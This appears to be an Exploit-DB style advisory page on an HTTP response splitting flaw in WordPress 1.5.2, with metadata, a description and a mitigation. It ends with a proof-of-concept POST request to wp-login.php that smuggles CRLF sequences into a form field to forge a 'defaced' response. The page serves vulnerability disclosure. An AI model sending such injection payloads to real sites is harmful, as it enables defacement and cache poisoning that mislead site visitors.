Wordpress HTTP Response Splitting Vulnerability

vendor:

Wordpress

by:

SecurityFocus

7.5

CVSS

HIGH

HTTP Response Splitting

113

CWE

Product Name: Wordpress

Affected Version From: Wordpress 1.5.2

Affected Version To: Wordpress 1.5.2

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wordpress:1.5.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

WordPress HTTP Response Splitting Vulnerability

Wordpress is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled. A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a HTTP response.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11348/info

Wordpress is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.

POST /wp-login.php HTTP/1.0
Host: HOSTNAME
Content-Type: application/x-www-form-urlencoded
Content-length: 226

action=login&mode=profile&log=USER&pwd=PASS&text=
%0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:
%2021%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>
*defaced*</html>